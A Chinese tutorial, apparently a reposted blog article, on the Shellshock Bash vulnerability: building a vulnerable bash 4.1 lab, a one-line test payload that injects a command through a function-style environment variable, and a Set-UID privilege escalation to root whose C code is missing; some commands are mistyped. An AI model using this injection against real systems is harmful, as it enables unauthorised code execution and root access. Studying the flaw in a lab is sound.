当前位置: 首页 > java >正文

Linux Shell Shock漏洞利用和实战

漏洞介绍

Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。——摘自维基百科

漏洞****实验环境搭建

1、 以root权限安装4.1版本的bansh。下载地址:
http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
2、 安装:

tar xf bash-4.1.tar.gz``cd bash-4.1``./configure``Make && make install

3、链接

rm / bin/bash``ln -s /usr/local/bin/bash /bin/bash

4、检查漏洞是否存在:

Env x=’() { :; };echo vulnerable’ bash -c “echo this is a test”

5、 如果上一步输出vulnerable,那么让/bin/sh指向/bin/bash

Sudo ln -sf /bin/bash /bin/sh

漏洞真身复现:

 Export foo=’() { :; }; echo hello world’

Bash读取了环境变量,在定义foo之后就直接调用了后面的函数,一旦调用bash,自定义语句就直接触发。

  1. 攻击Set-UID程序。
    我们知道system()函数将调用“/bin/sh -c”来运行指定的命令,这也意味着/bin/bash会被调用。你能够利用shellshock漏洞来获取权限吗?首先确保安装了带有漏洞版本的bash版本,并让/bin/sh指向/bin/bash

编辑如下C代码:

并给其赋一个SUID权限。

成功拿到root权限:

重点函数还是C代码中的setuid(geteuid());可以尝试,如果这段代码被删除,那么就无法成功提权。

原理分析:

我们这里使用该语句的原因是希望read uid = effective uid
这就说明如果real uid 和effective uid相同的话,定义在环境变量中的内容 在该程序中任然有效,但是两个uid如果不同,环境变量失效,就无法发动攻击了,这可以从bash的源代码中得到印证。

为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

http://www.xdnf.cn/news/11097.html

相关文章:

  • php语法之计算1~100偶数之和
  • c语言-exit函数
  • 【C语言】Windows下的多线程编程-关键段(临界区)
  • LARGE_INTEGER 转换 __int64
  • 进化计算(八)——MOEA/D算法详解Ⅱ
  • 12036 抢票助手开源,星标 12.7K !
  • B2B2C电商app系统开发(java开源,快速搭建)
  • 【一文读懂】什么是磁带存储?为何焕发第二春?
  • 【Laravel系列4.3】模型Eloquent ORM的使用(一)
  • 5000字详解性能需求
  • 滚动条样式修改
  • 内网端口映射工具有哪些?
  • 蝶阀的作用介绍
  • 史上最全网络安全站点集合
  • Java面试宝典
  • 分享126个图片JS特效,总有一款适合您
  • Nios II嵌入式软处理器提升系统性能方式详解
  • Happytime RTSP可用于流式传输各种设备和文
  • 俄罗斯 搜索引擎 邮箱创建
  • 使用 iMacros 来自动化日常的工作
  • LAMP架构
  • erp是什么意思?ERP系统是什么
  • 使用Plist编辑器——简单入门指南
  • 前HP大中华区总裁孙振耀退休感言
  • Java小白(学习Java详细讲解)从入门到精通
  • 一文带你了解红墨水实验!
  • 华为交换机配置入门指南:从零开始,轻松掌握基础配置
  • 一文读懂背照式CMOS图像传感器
  • 报表学习总结(一)——ASP.NET 水晶报表(Crystal Reports)的简单使用
  • 第十四章、DNS域名解析服务